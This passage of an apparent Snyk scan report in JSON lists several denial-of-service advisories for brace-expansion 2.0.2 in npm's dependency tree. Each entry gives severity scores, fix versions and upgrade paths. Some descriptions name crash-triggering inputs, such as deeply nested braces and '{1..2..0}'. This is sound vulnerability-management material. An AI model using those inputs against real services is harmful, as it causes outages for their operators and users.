"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in 